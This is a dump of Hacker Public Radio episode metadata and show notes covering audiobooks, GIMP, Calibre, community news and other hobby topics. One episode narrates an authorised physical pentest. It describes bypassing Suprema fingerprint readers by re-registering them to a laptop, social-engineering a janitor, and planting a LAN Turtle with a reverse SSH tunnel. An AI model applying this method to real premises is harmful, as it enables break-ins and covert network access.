                                                            • The terrible business of trying to listen to this book (technical difficulties abound)
                                                            • \n
                                                            • We talk about the audio players we tried to get around the technical difficulties.
                                                            • \n
                                                            • This book is a weird world.
                                                            • \n
                                                            • The reading performance is great, and the audio quality is good (minus technical difficulties).
                                                            • \n
                                                            • The is a clear distinction between characters by the reader using voice and accents.
                                                            • \n
                                                            • This pushes the definition of \"magical realism\". Perhaps \"surrealistic\" is a better description.
                                                            • \n
                                                            • The world is slightly more interesting than the characters.
                                                            • \n
                                                            \n

                                                            Beverage Reviews

                                                            \n
                                                            \n

                                                            As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode

                                                            \n\n

                                                            Things We talked about

                                                            \n
                                                            \n
                                                              \n
                                                            • Why are two sticks of chalk important?
                                                            • \n
                                                            • Does this end by not ending?
                                                            • \n
                                                            • Thaj thinks this is trying too hard to be clever. Both and Thaj and x1101 think Tincture does weird better.
                                                            • \n
                                                            • Is the fallen a metaphor for depression?
                                                            • \n
                                                            • What is going on with The Albion?
                                                            • \n
                                                            • \"There are a LOT of things that can use a little more explanation.\"
                                                            • \n
                                                            • Thaj thinks The Rainbow Thief and Adjustment Team may be inspirations for this story. Pokey raises with Sherlock Holmes and Doctor Who.
                                                            • \n
                                                            • Also Kato from The Green Hornet...
                                                            • \n
                                                            • We disagree about how the time travel was done.
                                                            • \n
                                                            • Nero is the character we all felt the easiest to follow.
                                                            • \n
                                                            \n

                                                            Our Next Audiobook

                                                            \n
                                                            \n

                                                            Murder at Avedon Hill by P.G. Holyfield

                                                            \n

                                                            The Next Audiobook Club Recording

                                                            \n
                                                            \n

                                                            Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new epsiodes with listener participation.

                                                            \n

                                                            Further Recommendations

                                                            \n
                                                            \n\n

                                                            Feedback

                                                            \n
                                                            \n

                                                            Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time we record a new episode. Please leave a few words in the episode's comment section.

                                                            \n

                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            Sincerely, The HPR Audiobook Club

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            Our Audio

                                                            \n
                                                            \n

                                                            This episode was processed using Audacity. We've been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with it's default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                                Threshold: -30db\n        Noise Floor: -50db\n        Ratio: 3:1\n        Attack Time: 0.2sec\n        Decay Time: 1.0 sec\n
                                                            \n

                                                            \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"Audiobook, Review, Creative Commons","version":0,"downloads":0,"valid":1}, {"id":3150,"date":"2020-08-28","title":"GIMP: Paint Tools","duration":1097,"summary":"With Paint Tools you begin to operate on the image.","notes":"

                                                            Paint Tools are where you begin to add things to an image. You can add a large variety of things depending on the tool, from thin lines to broad strokes, to gradients, and so on.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, paint, draw","version":0,"downloads":0,"valid":1}, {"id":3151,"date":"2020-08-31","title":"How I listen to podcasts","duration":393,"summary":"This is a reply to MrX episode on how to listen to podcasts","notes":"

                                                            In this episode I talk about the program I use to listen to podcasts.

                                                            \n

                                                            BeyondPod which has a smart play feature where you can decide how to listen, in what order and how much of each podcast.

                                                            ","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcast,software,android","version":0,"downloads":0,"valid":1}, {"id":3152,"date":"2020-09-01","title":"My Pocket Knives","duration":870,"summary":"I talk a little about some pocket knives I often carry","notes":"

                                                            Introduction

                                                            \n

                                                            As a boy I was allowed to have a penknife from about the age of 10. Since then I have tended to carry pocket knives with me on a regular basis.

                                                            \n

                                                            I have three knives that often travel with me, though two might have become illegal in the UK in the recent past because they lock.

                                                            \n

                                                            The knives are:

                                                            \n
                                                              \n
                                                            • Victorinox Huntsman
                                                            • \n
                                                            • Durol locking knife
                                                            • \n
                                                            • Roxon KS-S501
                                                            • \n
                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"knife,pocket knife,penknife,Victorinox,Durol,Roxon","version":0,"downloads":0,"valid":1}, {"id":3153,"date":"2020-09-02","title":"Fixing eBooks with Calibre and pdfcrop","duration":308,"summary":"Ken uses Calibre to convert a epub to PDF then uses pdfcrop to trim the margins","notes":"
                                                            \npdfcrop --margins '-4 -4 -4 -5' --clip input.pdf output.pdf\n
                                                            \n\n

                                                            \ncalibre is a powerful and easy to use e-book manager. Users say it’s outstanding and a must-have. It’ll allow you to do nearly everything and it takes things a step beyond normal e-book software. It’s also completely free and open source and great for both casual users and computer experts. \n

                                                            \n

                                                            \nPDFCrop is a Perl script that crops the white margins of PDF pages and rescales them to fit a standard size sheet of paper. It makes the printed pages far more attractive to read! \n

                                                            \n

                                                            Links

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"calibre,pdfcrop,epub,pdf","version":0,"downloads":0,"valid":1}, {"id":3154,"date":"2020-09-03","title":"Make NextCloud your next cloud","duration":771,"summary":"I go into my reasons for using NextCloud, what it is, and why you might want it.","notes":"

                                                            My federated address is @paul@cloud.pquirk.com

                                                            ","hostid":383,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi,NextCloud,federated","version":0,"downloads":0,"valid":1}, {"id":3155,"date":"2020-09-04","title":"LastPass Security Dashboard","duration":680,"summary":"A recent update to LastPass added a Security Dashboard","notes":"

                                                            LastPass is one of the password managers I use (along with Keepass), and recently they added a Security Dashboard feature to the product. I take a look at this dashboard and review some of the features.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"LastPass, passwords, security, monitoring","version":0,"downloads":0,"valid":1}, {"id":3156,"date":"2020-09-07","title":"HPR Community News for August 2020","duration":4202,"summary":"HPR Volunteers talk about shows released and comments posted in August 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Cedric De Vroey.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3131Mon2020-08-03HPR Community News for July 2020HPR Volunteers
                                                            3132Tue2020-08-04Keeping track of where I amMrX
                                                            3133Wed2020-08-05Quick tip - Using MPV with Youtube linksArcher72
                                                            3134Thu2020-08-06Tomorrowland 2020Daniel Persson
                                                            3135Fri2020-08-07Quick Tips for May 20 20operat0r
                                                            3136Mon2020-08-10Matchbox Restoration Part 6Tony Hughes AKA TonyH1212
                                                            3137Tue2020-08-11Coronavirus Update 2020-07-30Ahuka
                                                            3138Wed2020-08-12Linux Inlaws S01E12: Reminiscing in FLOSS Weeklymonochromec
                                                            3139Thu2020-08-13MIDI Sysexklaatu
                                                            3140Fri2020-08-14GIMP: Selection ToolsAhuka
                                                            3141Mon2020-08-17Lessons learnt from Magic the Gathering game designklaatu
                                                            3142Tue2020-08-18tcshklaatu
                                                            3143Wed2020-08-19LibreOffice 7.0 Released!Ahuka
                                                            3144Thu2020-08-20Pentesting: Insecure Object ReferenceCedric De Vroey
                                                            3145Fri2020-08-21A light bulb moment, part 1MrX
                                                            3146Mon2020-08-24Help Me Help you with HPR eps!operat0r
                                                            3147Tue2020-08-25NIST's Quantum Cryptography UpdateAhuka
                                                            3148Wed2020-08-26Why Open Source matters (to me)Paul Quirk
                                                            3149Thu2020-08-27HPR AudioBook Club 21 - The Terrible Business of Salmon and DuskHPR_AudioBookClub
                                                            3150Fri2020-08-28GIMP: Paint ToolsAhuka
                                                            3151Mon2020-08-31How I listen to podcastsDaniel Persson
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3119\n(2020-07-16) \"Converting to FFS2\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nZen_Floater2 on 2020-08-13:\n\"reply back to Gumnos\"

                                                              \n
                                                            • hpr3123\n(2020-07-22) \"Arduino controlled Christmas lights\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nArcher72 on 2020-08-03:\n\"Funny story\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 21 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr3131\n(2020-08-03) \"HPR Community News for July 2020\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_Floater2 on 2020-08-13:\n\"I've learned much.and I'd like to share much as well...\"

                                                              \n
                                                            • hpr3134\n(2020-08-06) \"Tomorrowland 2020\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfatherfinch on 2020-08-07:\n\"Great Energy\"
                                                              • Comment 2:\ncatn0b0t on 2020-08-10:\n\"TML 2020\"

                                                              \n
                                                            • hpr3137\n(2020-08-11) \"Coronavirus Update 2020-07-30\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-08-11:\n\"some 'smart' people may not take a vaccine\"
                                                              • Comment 2:\nAhuka on 2020-08-12:\n\"Why it matters\"
                                                              • Comment 3:\nZen_Floater2 on 2020-08-13:\n\"The Squirrel from the Magical Forrest\"
                                                              • Comment 4:\nSkepticalA on 2020-08-16:\n\"Condescending\"
                                                              • Comment 5:\nBob on 2020-08-16:\n\"Fact Checks on one of your claims\"
                                                              • Comment 6:\nbrian-in-ohio on 2020-08-16:\n\"sympathy\"
                                                              • Comment 7:\nAhuka on 2020-08-16:\n\"Clarification\"
                                                              • Comment 8:\nZen_Floater2 on 2020-08-19:\n\"Detailed research Corbit Report\"
                                                              • Comment 9:\nAnon on 2020-08-21:\n\"Conspiracy Theories: Last Week Tonight with John Oliver\"

                                                              \n
                                                            • hpr3138\n(2020-08-12) \"Linux Inlaws S01E12: Reminiscing in FLOSS Weekly\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2020-08-12:\n\"Excellent Interview\"
                                                              • Comment 2:\nClaudioM on 2020-08-14:\n\"Agree with Ahuka. Great Interview!\"
                                                              • Comment 3:\nbrian-in-ohio on 2020-08-16:\n\"follow up question\"
                                                              • Comment 4:\nan anonymous listener on 2020-08-21:\n\"volume\"

                                                              \n
                                                            • hpr3139\n(2020-08-13) \"MIDI Sysex\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-08-16:\n\"the voice\"
                                                              • Comment 2:\nKen Fallon on 2020-08-18:\n\"Voice\"

                                                              \n
                                                            • hpr3143\n(2020-08-19) \"LibreOffice 7.0 Released!\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-08-19:\n\"slackware\"

                                                              \n
                                                            • hpr3144\n(2020-08-20) \"Pentesting: Insecure Object Reference\"\nby Cedric De Vroey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2020-08-20:\n\"I deal with this all the time\"

                                                              \n
                                                            • hpr3148\n(2020-08-26) \"Why Open Source matters (to me)\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_Floater2 on 2020-08-29:\n\"Vic 20\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-August/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nWindigo, Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 12 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3157,"date":"2020-09-08","title":"Compost","duration":2583,"summary":"How and why to compost","notes":"

                                                            \n How to compost food scraps to produce nutrient-rich soil. It's natural!\n

                                                            ","hostid":78,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"food, rubbish, landfill, gardening","version":0,"downloads":0,"valid":1}, {"id":3158,"date":"2020-09-09","title":"Fingerprint access control? LOL... ","duration":1201,"summary":"A story about pentesting physical security","notes":"

                                                            Hello everyone, my name is Cedric and I'm here again with another story on pentesting and security, straight from the trenches.

                                                            \n

                                                            Today I'm going to share a story with you about an assignment we did some time ago for a large entertainment company. Our client, like many entertainment companies, produces a lot of intellectual property. So, one of their biggest concerns is that someone might physically break into their premises and steal some of these designs and products. They had already taken some precautions, like installing intrusion detection alarms and access controls on all doors etc' The access controls they installed even had a dual function and could be used both as an RFID reader and as a fingerprint reader. So, they were already trying their best to secure their on-site intellectual property. And that's also the reason why they hired me and my team: they wanted to check if their investment in security was actually worth its money so far.

                                                            \n

                                                            We proposed a plan to hack them, in any way our devious minds could possibly think of. Everything was on the table: We could try and hack ourselves in. We could social engineer ourselves in, basically by manipulating people and abusing their trust and confidence. We could do all of that, and we would, eventually. But first, the grand opening of this show, would be an attempt to physically break into their premises at night. And yes, that was as much fun as it sounds ;-)

                                                            \n

                                                            Our approach was basically the same as that of a professional burglar: we'd start with a week of preparation and scoping the place.

                                                            \n

                                                            So how do you do this? Well, we knew the address of course so first we checked out the place on Google Maps. And we were pretty lucky: Google had just recently updated their imagery of the area which meant we had recent maps to work with and the entire thing could be viewed in 3D with a fair amount of detail. That's pretty much as perfect as it comes when you're planning to do a major heist on a place in the physical world out there :-) So, we started with scouting the area from behind our laptops. We saw where all the entrances to the building were. We also saw that on the frontside the building just gave access to the street, while on the backside of the premise there was a public park. This looked very promising as a potential entrypoint, so our next step would be to actually physically go there and scout the area.

                                                            \n

                                                            So, first we went there during daylight hours and just took a drive around the block using a rental car. We'd look for entrances to the building, camera's guarding these and the general view of the area, basic things… We didn't spot any cameras on the outside of the building. So we figured it would be pretty safe to take a walk and scout the area by foot. There was foot traffic but not too much, so we wouldn't draw any attention by just casually walking around and having a closer look.

                                                            \n

                                                            The main entrance to the building was in a quiet street which led to a small square where a few kids were playing, and on the other side there was a street with some shops and a few restaurants. The entrance to our clients building had a gate through which we could see a quiet courtyard and the general layout of the building. The first thing that drew our attention was an access control device guarding the entrance, it was a fingerprint reader and it had a brand name Suprema printed on it. Straight across the courtyard we could see the trees of the neighboring park. There was a rooftop terrace on the first floor which gave access to the offices of our client. We also noticed the wall that separated this terrace from the park and it was huge, at least 6 meters.

                                                            \n

                                                            We couldn't hang around for too long of course so we decided to continue our walk to the second entrance we spotted just around the corner. We could recognise its anonymous door next to a restaurant because it was guarded by the same Suprema fingerprint device. The restaurant however seemed quite popular, and it had a terras in front of it with a dozen tables, so that pretty much dismissed this entrance as a possible entry for our heist.

                                                            \n

                                                            Needless to say that while we walked around the block we were also continuously scanning the area for Wifi and bluetooth devices. But nothing interesting had shown up so far. We had spotted our clients network but it was protected. We probably could use this information to set up rogue access-points later during our assignment, but for now this information was of little use to us.

                                                            \n

                                                            We continued our walk and took a left to end up at the park bordering to the other side of our clients building. While the park was empty at that moment, we didn't really feel at ease. On one side the park bordered an apartment building and all of its rear terrasses faced this park. We went to the wall at the far end of the park as casually as possible, and inspected it. It had two large windows, giving the people working in the offices on the inside a nice view of the park. Unfortunately these windows didn't seem to have any way of opening. The wall was high, very high, we estimated about 8 meters. On the other side it would give access to the terrace on the first floor. We figured that this would be the perfect entrypoint for our heist. We'd use the cover of darkness to get a ladder across the park, under the trees against that wall. I'd climb over it to land on the terrace and that would be our first step onto the premise. Next step would be to find a way into the building and for that we'd have to find a way to bypass these Suprema fingerprint readers next to every door.

                                                            \n

                                                            So we went back to our hackerspace and researched this device and we figured the best way to move forward would be to actually buy one of these to first try and hack it in the safety of our lab. So I spent a fair amount of time researching the exact model they had installed and ordering one from a local supplier. The thing came at a hefty price, these Suprema devices are not cheap. But now I had an electronic lock, a relay board, a power supply and one of these fingerprint readers with which I could start playing.

                                                            \n

                                                            I started off with reading the manual of course, which already was very interesting on its own. I learned that this thing can be configured in a zillion ways. I figured that, like most things, the guys that installed it would probably stick pretty close to how it came out of the box. So that's what I did as well: I installed the thing exactly as it came, following the instructions in the manual.

                                                            \n

                                                            I'll give you the summary of this entire installation. Electronic locks are pretty simple technology. Basically it's just an electro-magnet, a coil through which you send current to create a magnetic field that pulls a bolt out of the way so the lock can open, that's when it makes the clicking sound. Inside of the building, the receptionist can just press a button and a current will flow to the lock. However, on the outside of the building it wouldn't be very desirable that anyone can just press a button to open the door. That's why most companies implement access controls like RFID-readers or in this case fingerprint readers. A visitor scans his fingerprint with the device next to the door, the software checks if it finds the signature of the print in the database holding all recognized prints, and if so it will open the door.

                                                            \n

                                                            So if we'd want to bypass this scheme, we'd basically have two options: hack the device to open the lock, or duplicate a registered fingerprint to fool the scanner and open the lock. Research had shown that this last option wasn't actually so far fetched. It's actually a proven feasible attack, last DEFCON even demonstrated an attack where a print was copied in 3D using a 3D printer. The technique we would try involved etching the negative of a high-contrast image from a lifted latent print onto a copper plate. Next we'd pour hot glue over that etch to actually recreate the fingerprint in 3D. However, this procedure requires some practice and skills, and we didn't have time for that. We tried it using our own prints lifted from a glass plate, following the procedure as best as we could but we failed miserably. So, this would not be an option and we already spent a fair amount of time.

                                                            \n

                                                            So by now it had become clear we would have to hack the device. And as it was laying there in front of me on my desk, basically running the default setup with just my own print registered in the software, it became obvious that I had missed a crucial error in the design the entire time. I had never actually bothered to install this thing \"properly\" like mounted to a board with its cables fitted nicely behind a wall etc. The entire thing was just laying there, in front of me on my desk and all the cables really were a mess, but most importantly: the software wasn't showing any warnings whatsoever that the device was not mounted to a wall. I investigated the manual and I learned that the thing has something called a \"tamper alarm\". But this must have been disabled by default because I never had any alarms while the device was just laying there and was continuously shaking and moving it. So this meant that I could probably just pull this thing from a wall without any alarms going off.

                                                            \n

                                                            I had to validate this premise first before we could continue. If this turned out to be a false assumption we'd waste valuable time investigating a plan which would probably fail in the end. So the following night I set out again to our clients building. It was like 3:30 in the morning and there was nobody on the streets. We already validated that there were no cameras pointing to the entrance, still I didn't feel too confident. My plan was simple but solid: I'd unscrew the fingerprint reader at the main entrance and put it back in place after 30seconds. I'd then walk to the little square at the end of the street and sit on the bench there so I would have a clear view of our clients entrance. I figured that, if the tamper alarm was enabled, and if they had someone monitoring it, they would probably come and check the device causing the alarm. I'd be interested in their response time of course, but most of all I was just hoping nobody would show up. And that's also what happened. I waited for 2 whole hours on that bench and nobody showed up, so I concluded the tamper alarm must have been disabled as is the default setting on these things, or nobody is monitoring it. Anyway, now I knew I could safely start tinkering on how I could manipulate this thing into letting me.

                                                            \n

                                                            So the next day after I had a few hours of sleep we went back to work, playing with that Suprema BioLite and its software. I was in a good mood and had lots of inspiration. We started with investigating the general architecture of this access control scheme. So it turns out you have a client device, the scanner which is next to the door and this client device gets a database of recognized fingerprints from a control server which holds a list of all connected devices. So it's on this server where you register new doors and locks and new users that can open these locks. Now, when I installed the setup to experiment with, I learned that I had to register the lock into the control server before I could actually do anything, so I followed that entire procedure but unless I was missing something I didn't notice any real checks to be in place during that registration. So what I was thinking was: maybe I can disconnect this device from its network and the control server and reconnect it to my own server. Then I could upload my own prints to the device and then I'd be able to open the door with my own finger. So that's what I tried. I had the entire setup running in my own network, so I re-installed the software once again on my laptop. I then registered another print of mine into this installation. Next I disconnected the device from my network and connected it to a new temporary network running on my laptop: I had it running DHCP and I had a little USB-powered ethernet switch laying around which came in handy for this job. So the device quickly got an ip address from my new network and when I scanned for new fingerprint devices in my network using the Suprema control server that was installed on my laptop, I easily found it and was able to register it in this installation. I then was able to upload a copy of my fingerprints from my laptop to the device and after reconnecting it to the original network I could still open the lock with my newly registered print. So this meant we had our hack to bypass this device: we'd just upload our own set of prints to it and it would happily accept these and open the door for us.

                                                            \n

                                                            So we hired a van and a ladder, and with some action cameras geared up we set out in the middle of the following night. We managed to get the ladder across the park and put it against the wall without making too much noise, we didn't wake up any curious neighbours. Next, I'd climb up the ladder, but since it was only 6m and the wall was about 8m high I'd have to climb the last bit by hand. Fortunately there was some vegetation growing on that wall and it felt like it would be strong enough to hold my weight. So, I gave it a try and pulled myself up from the ladder and the vines fortunately didn't break, so I climbed to the top of the wall and hoisted myself on top of it. I jumped off on the other side and landed on the first floor terrace we saw earlier. I went straight to the door and as expected it had one of these Suprema fingerprint readers next to it and I immediately went to work: I unscrewed the device from its mounting bracket and pulled the cables a bit from the wall. I then cut all the wires of the UTP-connection and connected a female RJ-45 socket to the UTP-wires of the fingerprint reader with crocodile clips. Next I hooked it up to my usb-powered switch which connected the device to the network running on my laptop. As I had tested everything in detail, the attack went smooth as a breeze and within no time I had my own fingerprint loaded into the device. I tested it and I could hear the lock of the door clicking while I put my finger onto the reader, so I started screwing the device back into the mounting bracket.

                                                            \n

                                                            Everything went exactly as planned and I had just put my laptop and all my gear into my backpack again when suddenly I saw the lights go on through the glass door separating me from the inside of the top floor. I could see the elevator doors open and suddenly there I was, standing face to face with a janitor. I could see his face and he could see me so I tried to pull myself together, I had to think quickly. I figured he would let me in, or call the cops and I would probably only get one chance to explain myself. So I pulled my silly face, pointed with a finger to the access control, shrugged my shoulders and lipped slowly \"it's not working\". Well, I must have been an actor in a previous life because, sure thing the man came up to the door and opened up for me. While I entered and said a quick \"hey thanks man\", he looked a bit questioning and mumbled something of \"who are you and what are you doing here?\" and as casual as I could I answered \"Oh I'm from IT, I'm here for work\". I smiled, thanked him once again while I stepped into the elevator and pressed the button for the ground floor. I was in! My heart was pounding like a racehorse but I was in! This stuff was like straight from the movies.

                                                            \n

                                                            Now it was time for the fun part of the night: claiming our flag of victory. First I went to the director's office, to leave a friendly signature of my presence: I left a bottle of champagne on his desk and I decorated the place with some CYBER-tape :-) On my way out I left a little present in the form of a LAN Turtle 3G. That's a 3G-enabled remote access toolkit with a network-connection which I hooked up with an empty socket underneath the receptionist's desk. The LAN Turtle would immediately boot and using its 3G connection it established a reverse tunnel using SSH to our command-and-control server. Using that covert connection we now had a way into the network from the outside. Installing it only took about 15 seconds and after having confirmed tunnel using a shell on my phone I went straight to the front-door and left the place. Mission accomplished! We had successfully penetrated the place.

                                                            \n

                                                            I went to bed with a very big smile on my face early in the morning that day. By Noon I got up after a few hours of sleep and called our clients. They thanked us for the champagne and I gave them the gist of what had happened earlier that day while everyone else was still in bed sleeping.

                                                            \n

                                                            The following weeks we would continue with our assignment and use our newly granted access into the place to go there physically during daytime hours, posing as an external developer. Eventually we gained full access to the entire place, including their on-premise datacenter holding their intellectual property, the crown jewels as to speak. Apparently, the access control-server was still protected with the default credentials admin/admin so I had pretty easy time expanding my initial foothold.

                                                            \n

                                                            At the end of our assignment we presented all of our findings to our client and they immediately took appropriate action, including making sure tampering control got enabled on all of their access control devices. And I for my part had learned a whole lot of new fun stuff about access control devices and the possible flaws they can hold.

                                                            \n

                                                            So, this was yet another story on pentesting and security. I hope you enjoyed this episode. If you'd like to reach out to me, please use the comment section on Hacker Public Radio or contact me on Twitter or Facebook. See you next time!

                                                            \n","hostid":387,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"pentesting,security,hacking,biometrics","version":0,"downloads":0,"valid":1}, {"id":3159,"date":"2020-09-10","title":"Vivaldi - The Four Seasons","duration":2703,"summary":"All four movements of Vivaldi's Four Seasons, celebrating the Creative Commons license","notes":"

                                                            \nAntonio Vivaldi composed The Four Seasons ('Le quattro stagioni' in its original Italian) in 1723. It is a set of 4 violin concertos that propose an early form of descriptive music: for example, Winter makes prominent use of pizzicato notes in high registers, whereas Summer evokes a storm in its final movement. The work was first presented as part of Op. 8, being later catalogued as RV 269, 315, 293 & 297. The Four Seasons remain very popular to this day, some of its concertos spawning a great number of derivative works, whereas thousands of recordings of the original pieces have been made. It is still debated if Vivaldi wrote this concertos to accompany four sonnets that may have been written by himself.
                                                            \nFrom Vivaldi The Four Seasons, Op. 8\n

                                                            \n\n

                                                            \nThe Modena Chamber Orchestra Music\n

                                                            ","hostid":383,"series":22,"explicit":0,"license":"CC-BY-SA","tags":"Vivaldi, four seasons, creative commons","version":0,"downloads":0,"valid":1}, {"id":3160,"date":"2020-09-11","title":"GIMP: Transform Tools","duration":992,"summary":"With Transform Tools you can stretch, move, and crop the image.","notes":"

                                                            Transform Tools are where you start to manipulate an image. You can move it around, stretch it, rotate it, crop it, and so on. This is the third of the four groups of tools we will look at for GIMP.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, transform","version":0,"downloads":0,"valid":1}, {"id":3161,"date":"2020-09-14","title":"How I manage podcast listening","duration":1192,"summary":"Another reply to MrX's episode on how he listens to podcasts","notes":"

                                                            Introduction

                                                            \n

                                                            I have spoken in the past about the podcast management system I have created, but have never gone into much detail about how I manage the playing of episodes.

                                                            \n

                                                            Prompted by MrX’s HPR episode hpr3132, “Keeping track of where I am” I will describe it now.

                                                            \n

                                                            Long notes

                                                            \n

                                                            Follow this link to read the detailed notes associated with this episode.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcast,software,mp3 player,database","version":0,"downloads":0,"valid":1}, {"id":3162,"date":"2020-09-15","title":"Introduction to Ansible","duration":2674,"summary":"Klaatu demonstrates some Ansible tricks, and how Ansible can be a better choice than scripting.","notes":"

                                                            \nIntroduction to Ansible.\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ansible,sysadmin","version":0,"downloads":0,"valid":1}, {"id":3163,"date":"2020-09-16","title":"Linux Inlaws S01E13: The road to communism and freedom","duration":3855,"summary":"Our old heroes discuss their legacy and how they arrived at open source software and communism","notes":"","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"open source, communism, escort services, freedom, Mach, VMS, accounts","version":0,"downloads":0,"valid":1}, {"id":3164,"date":"2020-09-17","title":"I'm Learning Spanish","duration":989,"summary":"How I am using a variety of tools to learn Spanish","notes":"

                                                            I decided to use my time spent in relative isolation to do something productive and learn another language. I picked Spanish because I am hoping to visit Mexico and other Latin American countries whenever the plague lifts. I decided to document this for anyone who wants to know what options I found and how they have worked for me so far.

